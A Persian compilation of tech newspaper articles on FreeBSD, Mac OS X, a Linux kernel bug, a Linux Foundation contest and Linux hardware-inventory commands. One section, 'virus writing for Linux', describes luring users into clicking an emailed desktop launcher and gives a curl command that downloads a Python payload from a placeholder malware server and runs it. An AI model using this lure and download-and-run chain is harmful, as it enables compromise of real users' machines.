اين سيستم‌عامل به دليل توانمندي در اداره امنيت و مديريت مستقل برنامه‌ها از هسته سيستم‌عامل قابليت مقاومت در برابر حملات و نقايص منطقي، به عنوان يكي از بهترين گزينه‌ها براي مديران شبكه‌هاي پركاربر مطرح است.

در كاربردي بودن اين نسخه از يونيكس همين بس كه بدانيد شركت ياهو براي مديريت سايت yahoo.com از نسخه FreeBSD استفاده مي‌كند.

سيبي به زيبايي Mac OS X

نسخه‌اي كه تمام كاستي‌هاي يك سيستم‌عامل را كنار گذاشته و جاي آن را قابليت‌هاي زيبا و مثال‌زدني پر كرده است، سيستم‌عامل مك ايكس، محصول شركت اپل مكينتاش است.

مك به عنوان اولين سيستم‌عامل گرافيكي، خاطره‌اي زيبا را در ذهن كاربران زنده مي‌كند و يادآوري اين براي دوستداران ويندوز لازم است كه بيل گيتس، موسس شركت مايكروسافت در سال1983، در كنفرانس بين‌المللي شركت Apple گفت: به نظر من، تنها كامپيوترهايي كه تمام استانداردهاي ممكن را دارند، كامپيوترهاي توليد شده توسط شركت Apple هستند.

OSX سيستم‌عاملي است كه طراحي آن را شركت Apple به پايان رسانده و چند سالي است كه در تمام انواع كامپيوترهاي توليد اين شركت مورد استفاده قرار گرفته است. اين نسخه از مك بعد از نسخه 9 آن عرضه شد.

كاربردي بودن اين سيستم‌عامل را مي‌توانيد از كاربران اين سيستم‌ها جويا شويد. نوع نگرش كاربراني كه اپل را جزيي از خانواده خود مي‌دانند، گوياي بي‌نظير بودن اين سيستم‌عامل است.

حرف X در نام اين نسخه بيانگر عدد 10 در اعداد رومي است و از طرفي مجهول بودن هويت آن را مي‌رساند؛ چراكه هويت آن با انواع قبلي اين سيستم‌عامل كاملا متفاوت است. اين سيستم‌عامل بر پايه فناوري ابداعي شركت سابق مديرعامل اپل يعني استيو جابز است.

نام آن شركت next بود و بعدها توسط اپل خريداري شد. Nextstep فناوري اين شركت بود كه در واقع امروزه به عنوان هسته سيستم‌عامل مك به كار مي‌رود، اين فناوري يك سيستم‌عامل شي‌ءگرا را اجرايي كرده است.

Mac OS X بر پايه هسته تركيبي بنا شده و قسمت‌هاي مشخصي از سيستم‌عامل‌هاي FreeBSD و NetBSD در آن به كار رفته است. آخرين نسخه بارگزاري شده اين سيستم‌عامل نسخه 7، 5، 10 است كه به علت سازگاري با پردازشگرهاي اينتل توانسته است امكان نصب ساير سيستم‌عامل‌ها را روي سخت‌افزارهاي اپل فراهم كند. اين نسخه از سيستم‌عامل داراي گواهينامه 03 UNIX است بنابراين از نسخه‌هاي مستقيم يونيكس محسوب مي‌شود.

نوع سرور اين سيستم‌عامل نيز همگام با نسخه كلاينت آن چندسالي است كه با نام‌هاي خاص خود وارد بازار شده است. اين سيستم‌عامل‌ها با نام‌هاي Tiger و Leopard به بازار عرضه شده‌اند.

به‌روزرساني اين سيستم‌عامل‌ها روي سيستم‌هاي خود اين شركت رايگان است و تقريبا هر 2 ماه نسخه جديد آن را مي‌توانيد به آساني دريافت و نصب كنيد. همچنين اين سيستم‌عامل در نسخه نهايي خود كاملا با زبان فارسي سازگار و هماهنگ است و براي تمام كارها نيز نرم‌افزارهاي رايگان زيادي دارد كه مي‌توانيد استفاده كنيد.

اين سيستم‌عامل در نسخه‌هاي مختلفي براي آيفون، آي‌پاد و اپل تي‌وي عرضه شده است و نسخه ديگر آن نيز قرار است اوايل پاييز ارائه شود.

با وجود سيستم‌عامل‌هايي اينچنين قدرتمند و رايگان، جايي براي ويندوز ناامن و ناپايدار باقي نمي‌ماند.

داستان امنيت لينوکس

داستان امنيت لينوکس
اول از همه يک چيز را روشن کنيم، امنيت کامل در هيچ چيز وجود ندارد. هيچ‌برنامه‌اي وجود ندارد که امنيت قطعي به شما بدهد. هر چه باشد، امنيت يک رويه است، نه يک محصول. رويه امنيت لينوکس، رويه قابل توجهي است. شايد به همين دليل است که امنيت فوق‌العاده‌اي دارد. در اينجا يک مثال عرضه مي‌کنيم:

16 جولاي، يک برنامه‌نويس امنيتي به‌نام براد اسپنگلر که برنامه‌اي منبع‌باز براي امنيت تحت شبکه مي‌نوشت و نامش را grsecurity گذارده بود. طي نامه‌اي اعلام کرد که در هسته لينوکس 30/6/2 (آخرين هسته) يک حفره امنيتي يافته است.

نگارش کوچکي از اين آسيب‌پذيري منتشر شد و بر اساس مرکز تهاجم‌هاي اينترنتي SANS، کد مخرب در بخش net/tun پياده‌سازي شده بود. اتفاقي که افتاد بسيار ساده بود، توسعه‌دهنده متغيري را با مقداري خاص که مي‌توانست NULL هم باشد، ايجاد ‌کرد، تا بعدا اگر مقدار آن 0 بود، پيغام خطايي برگرداند.

اما در همين نقطه موضوع جالب مي‌شود. کد برنامه‌نويس به‌نظر معصوم مي‌رسد. اما درست بعد از اين‌که به دستان کامپايلر gcc سپرده مي‌شود و در زمان بهينه‌سازي کد، کامپايلر متوجه مي‌شود که متغير قبلا تعريف شده است و عملا تکه کد if را (که در آن بررسي مي‌شود که آيا tun مساوي NULL هست يا نه) حذف مي‌کند. به‌عبارت ديگر، کامپايلر اين ايراد را به کد باينري هم منتقل مي‌کند. به‌همين دليل، هسته به‌سادگي ممکن است از آدرس صفرم حافظه، داده بخواند يا در آنجا بنويسد. مهاجم به‌همين سادگي مي‌تواند کل سيستم را در اختيار بگيرد.

ترسناک است، اين‌طور نيست؟! همان‌طور که مي‌بينيد، به‌خاطر عملکرد در سطح بسيار پايين، حتي مي‌شود SELinux را هم از پا انداخت.

البته، براي شکستن ديوارهاي امنيتي يک کامپيوتر، نياز به سطوح دسترسي بالايي داريد تا بتوانيد از ابزارهاي توسعه‌دهنده استفاده کنيد. بعد از آن، بايد حتما برنامه‌اي را از کد منبع آن کامپايل کنيد و کد منبع را هم خودتان بنويسيد. اينجا اصلا شبيه ويندوز نيست که تنها يک اشتباه، يک کليک اشتباهي روي آدرس اشتباهي يا باز کردن پيوست يک ايميل، کار سيستم عاملتان را بسازد.

اما، اين تنها راه آسيب‌پذيري‌تان نيست، استفاده از حفره‌امنيتي PulseAudio در سيستم‌هاي لينوکس و ويندوزي براي هر دو سيستم عامل خطرناک است. تنها راه چاره اين است که هسته جديد لينوکس را نصب کنيد تا خيالتان از بابت اين‌ها راحت باشد.

هدف از نوشتن اين مطلب، بررسي بحث فني و جزئيات حفره‌هاي امنيتي نيست. مساله اين است که در منبع‌باز، يک مشکل امنيتي براي عام مطرح مي‌شود و در همان ملاعام هم رفع مشکل مي‌شود. به‌عنووان مثال، فايرفاکس 5/3 يک حفره امنيتي بسيار آشکار داشت که تنها سه روز بعد از عرضه، رفع عيب شد.

اما از طرف ديگر، مايکروسافت دوشنبه گذشته باز با يک حفره امنيتي جديد روبه‌رو شده است، اما هنوز براي رفع آن اقدامي صورت نگرفته است. اين در مقابل ويندوز و ديگربرنامه‌هاي ويندوزي که ماه‌ها و سال‌ها حاوي حفره‌هاي امنيتي هستند، واقعا هيچ است. اواخر سال گذشته، مايکروسافت يک حفره امنيتي را رفع کرد که بدون اغراق، هفت سال در مرورگرش جا خوش کرده بود. يادمان نرود که کرم MyDoom که در سال 2004 راه‌اندازي شده بود، هفته گذشته دوباره در سيستم‌هاي ويندوزي براي حمله‌هاي DDoS به کار گرفته شد.

حقيقت اين است که تمام نرم‌افزارهاي منبع‌باز، که بسيار امن‌تر از برادران تجاري خود هسنتد، تمام اين‌ها را مديون منبع‌باز بودن‌اند. چرا که تنها از اين طريق مي‌توان به سادگي ايرادات را يافت و به سرعت ان را برطرف کرد. اگر مايکروسافت واقعا نگران وضعيت امنيتي است، نبايد با ارائه وصله‌هاي امنيتي آن را رفع کند، بايد کد را باز کند تا هر کس که مي‌تواند نگاهي به داخل آن بياندازد. هر چند که اين اتفاق هرگز نخواهد افتاد و نرم‌افزارهاي آزاد و منبع‌باز همچنان دلاور دنياي امنيت نرم‌افزاري باقي خواهند ماند.

محمدرضا قرباني

اموزش ويروس‌نويسي براي لينوكس

ويروس‌نويسي براي لينوكس (بخش نخست)
همه ما در مورد ضدويروس بودن لينوكس چيزهاي زيادي شنيده‌ايم. همه‌مان هم مي‌دانيم كه امكان ندارد ويروسي بتواند بدون اجازه كاربر در لينوكس، دسترسي ريشه ‌(Root)‌ بگيرد. اين را هم مي‌دانيم كه بيت‌هاي اجرايي براي اجراي هر چيزي در لينوكس به‌كار مي‌روند، مگر فايل‌هايي كه از طريق وب دريافت مي‌شوند.

البته، شايان ذكر است كه توضيح دهيم ساختار سيستم عامل لينوكس بسيار مستحكم‌تر از ويندوز است و به‌سادگي كاربران نمي‌توانند با دريافت يك فايل آلوده، دچار مشكل شوند. اما، خواهيم ديد كه چطور با پيمودن چند مرحله ساده، ‌مي‌توان براي لينوكس هم بدافزار نوشت. ‌ ‌

گفته شده است كه كدي كه در ادامه مي‌نويسيم، در دسته ويروس‌ها قرار نمي‌گيرد و بيشتر به‌عنوان تروجان‌ها مطرح مي‌شود. همچنين، بايد ذكر كنيم كه اين حفره‌هاي امنيتي از ويژگي‌هاي محيط‌هاي روميزي بيشتر لينوكس‌هاي محبوب، يعني گنوم و كي‌دي‌ئي به‌شمار مي‌رود. خود هسته اصلي لينوكس هيچ كدام از اين حفره‌ها را ندارد. لينوكس يا هر سيستم ديگري كه بر پايه يونيكس كار مي‌كند، اگر از گنوم يا كي‌دي‌ئي استفاده نكنند، قطعا هيچ مشكلي نخواهند داشت. همچنين گفته باشيم كه جدا بودن ميزكار از سيستم عامل، خود مزيت بزرگي به‌شمار مي‌رود و شما مي‌توانيد با تغيير ميز كار خود از اين مشكل نيز دوري كنيد. ‌ ‌

كاربران را وادار كنيد ايميل‌تان را بخوانند

اگر بدنبال راه جديدي براي نفوذ به كامپيوتر آسيب‌پذير مي‌گرديد، بايد نااميدتان كنيم. يكي از ابتدايي‌ترين ويروس‌ها، با اجراي كاربر فعال مي‌شود و ساختار ساده‌اي داشت. ما نيز از همين روش استفاده خواهيم كرد و آن را روي محيط كار مدرن لينوكس پياده خواهيم نمود. ‌ ‌

در ويندوز روال كار ساده است، شما يك ويروس مي‌نويسيد، آن را با پسوند ‌.exe‌ ذخيره مي‌كنيد و به ايميل‌تان پيوست مي‌كنيد. سپس با يك عنوان اغواكننده، كاربر را وادار به باز كردن آن مي‌كنيد و كاربر نگون‌بخت با باز كردن آن در سيستم عامل خودش — ويندوز و در غياب حضور نرم‌افزار ضدويروس، به آن دچار خواهد شد. در يك چشم به‌هم‌زدن بدافزار خود را نصب مي‌كند و سيستم را تصاحب خواهد كرد. ‌ ‌

شما فكر مي‌كنيد چنين چيزي در لينوكس ممكن نيست؟ معلوم است كه چنين چيزي ممكن است. فقط نياز به يكي دو گام بيشتر دارد. هرچند، در معماري پايه‌لينوكس براي جلوگيري از حماقت كاربر و باز كردن فايل‌هاي آلوده، هيچ تدبيري انديشيده نشده است. بنابراين، ما مركز حملات خود را از اين ناحيه يعني ناداني كاربر آغاز خواهيم كرد. ‌ ‌

فقط يك يا دو مورد هست كه بايد به آنها دقت كرد.

نخست اين را بگوييم كه بيشتر نرم‌افزارهاي ايميل‌خوان لينوكس فايل‌هاي پيوست را اجرا نمي‌كنند. اين نرم‌افزارها فقط در صورتي فايل‌هاي پيوست را اجرا مي‌كنند كه بدانند محتواي آن چيست، يا پسوند آن را بشناسند (براي مثال فايل ‌PDF‌ يا ديگر پرونده‌ها....) فرض كنيم كه شما ويروس خود را با زبان زيباي پايتون نوشته باشيد و پسوند آن هم .py‌‌ باشد. در اين صورت يكي بايد تنظيمات سيستم را تغيير بدهد كه اين پسوند اجرا شود، چه كسي قرار است اين كار را بكند؟

پس نتيجه مي‌گيريم كه بايد از راه ديگري وارد شويم. چيزي كه هميشه موقع كليك كردن اجرا شود و به سراغ مرحله بعدي برويم. كاربر اول بايد پيوست را ذخيره كند و بعد روي آن دوبار كليك كند. از آن‌جايي كه نرم‌افزار ايميل‌خوان اين اجازه را نمي‌دهد، مجبوريم به ميزكار رجوع كنيم و خواهيم ديد كه چه‌ساده اجازه اين كار را خواهد داد. كافي است كه بار ديگر به ناداني كاربر اعتماد كنيم و مثلا جمله‌اي بنويسيم كه:

(اگر پيوست باز نمي‌شود، روي ميزكار خود ذخيره كنيد و بعد بازش كنيد...)

بيشتر ما اين پيغام را مشكوك قلمداد مي‌كنيم، اما همه‌ما نه. بنابراين، عده‌اي از ميان ما حتما آن را روي ميزكارشان ذخيره خواهند كرد. ‌ ‌

غفلت كاربران را دست كم نگيريد حتي در لينوكس

شما حتما مي‌خواهيد بگوييد كه كاربران لينوكس نسبت به كاربران ويندوزي از آن‌چه انجام مي‌دهند، هشيارترند. چرا كه انتخاب سيستم عامل ديگري جداي ويندوز و همچنين، يادگيري كار كردن با آن، دانشي فراتر از كاربران غيرفني را به‌آنها خواهد داد. اما اين موضوع در حال تغيير است، با انقلاب نت‌بوك‌ها كه به‌عنوان پيش‌فرض روي‌شان لينوك نصب است. بسياري از اين كاربران ديگر آگاهانه لينوكس را انتخاب نكرده‌اند و درست ميزان غفلت‌شان به اندازه كاربران ويندوزي خواهد بود. ‌ ‌

همچنين، دوران بي‌دغدغه لينوكسي در گذشته، اين حس غلط را به كاربران القا كرده است كه لينوكس همواره امن است. ما از همين ذكر كه «لينوكس بسيار امن است و نيازي به نرم‌افزار ضدويروس نداريد!» براي حمله استفاده خواهيم كرد و خيالمان راحت است كه وقتي آسيب زديم، نرم‌افزار ضدويروسي وجود ندارد كه بخواهد مچ ما را بگيرد.

بسيار خب، به مسايل فني بازگرديم، بيشتر نرم‌افزارهاي ايميل‌خوان،‌فايل‌هاي پيوست را روي ميزكار كاربر و در شاخه دانلود قرار مي‌دهند. بنابراين اگر كاربر فايل را بررسي نكند و آن را ذخيره كند، حقه‌مان را زده‌ايم. همان‌جايي كه ما مدنظرمان بود، فايلمان قرار مي‌گيرد. ‌ ‌

اجرا كردن فايل پيوستي

قبلا گفتيم كه فايل‌هاي پيوستي وقتي ذخيره مي‌شوند، به‌طور عادي اجرا نمي‌شوند. هيچ پسوندي در لينوكس وجود ندارد كه بگويد وقتي روي اين فايل كليك شد، ‌آن را اجرا كن و اين برخلاف ويندوز و پسوند ‌.exe‌‌اش است. بنابراين، مشكل دوم و بزرگي كه به آن مي‌خوريم اين است: براي اجراي يك فايل در لينوكس، حتما بايد كاربر در بخش دسترسي‌هاي فايل،‌آن را به فايل اجرايي تبديل كند. اين همان چيزي است كه ويندوز ندارد. و به‌خاطر همين است كه آلوده كردن سيستم‌هاي ويندوزي بسيار ساده‌تر است و تقريبا در سيستم‌هاي مبتني بر لينوكس غيرممكن به‌نظر مي‌رسد. وقتي يك فايل پيوستي را روي كامپيوتر خود ذخيره مي‌كنيد، پرچم اجرايي كردن فايل علامت نمي‌خورد و به‌همين ترتيب، وقتي روي فايل كليك مي‌شود، فايل اجرا نمي‌گردد. ‌ ‌

تند نرويم. محيط‌هاي ميزكار مدرني چون كي‌دي‌ئي يا گنوم، يك راه درروي زيبا به نام «سكوي پرتاب» يا ‌Launcher‌ به ما ارائه مي‌دهند.

سكوهاي پرتاب فايل‌هاي كوچكي هستند كه نشان مي‌دهند چه چيز بايستي اجرا شود. فقط چند خط كوتاه مي‌تواند اسم، آيكن و دستوري كه بايد اجرا شود را مشخص كند. خوشبختانه براي ما، گرامر دستور نوشتن در كي‌دي‌ئي و گنوم يكي است. همچنين جالب است بدانيد اين سكوهاي پرتاب نيازي به تنظيمات اجرايي ندارند! محيط‌هاي ميزكار اين فايل‌ها را به‌عنوان فايل استثنا قلمداد مي‌كنند. ‌

‌بنابراين وقتي روي فايل سكوي پرتاب گنوم يا كي‌دي‌ئي كليك مي‌كنيد، بدون آن‌كه نيازي به تنظيم كردن دسترسي خاصي باشيد، آن فايل اجرا مي‌شود. به‌نظرتان سخت است كه با يك دستور بخواهيم يك بدافزار را روي سيستم نصب كنيم؟ اين‌جا را ببينيد:

‌% bash -c "curl http://www.some_malware_

server.org/s.py -o /tmp/s.py; python /tmp/s.py"

منبع : جام جم انلاین

ما لينوكسيم!

ما لينوكسيم!
بنياد لينوكس ‌(linuxfoundation.org)‌ به‌طور رسمي پروژه مسابقه ويديويي «ما لينوكسيم!» را آغاز كرد. اين بنياد براي آن‌كه طبيعت جامعه لينوكس را بهتر به‌تصوير بكشد، مسابقه را از «من لينوكسم!» به «ما لينوكسيم!» تغيير نام داد. در اطلاعيه بنياد لينوكس همچنين آمده است كه تعداد داوران اين مسابقه به شش نفر تغيير پيدا كرده است. 


آماندا مك‌فرسون، معاون بازاريابي و توسعه برنامه‌هاي بنياد لينوكس همچنين اعلام كرده است: «از آن‌جايي كه مايكروسافت تنها هزينه‌هاي سنگيني براي تبليغات پرداخت مي‌كند و از طرف ديگر، اپل به استفاده از تكنيك‌هاي مفيد، اما قديمي خود براي بازاريابي اصرار مي‌ورزد، لينوكس با استفاده از همان روش همكاري همگاني خودش، مي‌تواند بهترين نمايش را داشته باشد كه چطور يك سيستم‌عامل را همگان مي‌سازند.»

گفتني است داوران اين مسابقه را مت آساي از آلفرسكو، لري آگوستين، عضو هيات رئيسه بنياد لينوكس، جونو بيكن، مدير جوامع اوبونتو، جو براكمير، مدير جوامع اوپن‌سوسه، مليندا متلر، مسوول مدرسه تبليغات در دانشگاه هنر و تيم اوريلي، ناشر تشكيل خواهند داد. ‌

چگونه بفهميم با چه سيستمي سر و كار داريم؟

چگونه بفهميم با چه سيستمي سر و كار داريم؟
مصاحبه با لينوكس
حتما تاكنون اين سوال برايتان پيش آمده است كه چطور مي‌شود از نرم‌افزارها و سخت‌افزارهاي يك سيستم اطلاع حاصل كرد؟ حالا اگر با بيش از يك كامپيوتر سر و كار داشته باشيم، اگر روال و روش درستي براي آن نباشد، به‌دست آوردن اين اطلاعات تبديل به مشكلي بزرگ خواهد شد. يك روش اين است كه بايد تك‌تك پاي هر سيستم بنشينيد و اطلاعات را به‌صورت دستي توي يك جدول وارد كنيد.
لازم به گفتن نيست كه بدون احتساب دريافت اطلاعات نرم‌افزارها و قطعات جانبي، همين روند بسيار طولاني خواهد بود. در لينوكس اطلاعات پايه در مكان‌هاي استاندارد قرار دارد و بقيه اطلاعات همچون نرم‌افزارهاي نصب شده با چند دستور خاص به‌دست مي‌آيد.

نخست بياييد اطلاعات پيكربندي شبكه كامپيوتر را بفهميم. بعد از ورود به سيستم، نام كامپيوتر به عنوان بخشي از خط فرمان قابل ديدن است. مي‌توانيم با كمك دستور cat /etc/resolv.conf تنظيمات DNS را ببينيم. بعد مي‌توانيم ليست دستگاه‌هاي شبكه و آدرس‌هاي IP و MAC آن‌ها را با كمك دستور ifconfig –a به‌دست بياوريم.

حال مي‌ماند اطلاعات مرتبط با سخت‌افزار. مي‌توانيم اطلاعات زيادي را از سيستم فايل /proc به‌دست آوريم. مثلا با كمك دستور cat /proc/cpuinfo مي‌توان فهميد چه ريزپردازنده‌اي در سيستم مشغول به‌كار است.

مي‌توان ميزان حافظه سيستم را با كمك دستور ls –lah/proc/kcore به‌دست آورد كه حجم حافظه را به‌صورت قابل خواندن براي انسان به خروجي مي‌دهد.

اطلاعات مرتبط با سخت‌افزارهاي جانبي نصب شده را مي‌توان با كمك دستور lspci به‌دست آورد.

با كمك دستور fdisk –l /dev/?d نيز مي‌توان اطلاعات پيكربندي ديسك سخت را به‌دست آورد. اگر مي‌خواهيد بدانيد كه چه نوع ديسك سختي داريد مي‌توانيد از دستور زير  استفاده كنيد:

 cat /proc/ide/had/model 

اگر نرم‌افزارهاي مربوط به فشرده‌سازي فرمت gz را نصب‌كرده‌ايد، يك فايل بسيار حياتي در سيستم خود داريد كه مي‌توانيد به كمك آن تنظيمات هسته را ببينيد. اين فايل در /proc/config.gz قرار دارد و اگر در دايركتوري اصلي (Root) قرار بگيرد مي‌تواند به‌عنوان فايل پيكربندي هسته عمل كند.

مي‌توان حتا دستگاه‌هايي كه به‌كمك پورت USB به سيستم متصل شده‌اند را شناسايي كرد. اين كار را به‌كمك دستور lsusb انجام دهيد.

براي دانستن ليست نرم‌افزارهاي نصب شده در سيستم‌هاي مبتني بر RPM، از دستور rpm –qa و در سيستم‌هاي مبتني بر دبيان مي‌توانيد از دستور dpkg –l استفاده كنيد.

اگر دنبال اطلاعات بيشتري مي‌گرديد، قطعا گشت‌وگذار در /proc  و /sys نظرتان را جلب مي‌كند.

تمامي اين دستورات نيازي به رابط گرافيكي ندارند، از اين‌رو مي‌توان به‌سادگي و بدون حضور فيزيكي تمامي اين اطلاعات را فقط با داشتن دسترسي به ريشه از راه دور به‌دست آورد. و حتا با كمك اسكريپت نويسي، تمامي اين مراحل را اتوماتيك كرد.
منبع: جام جم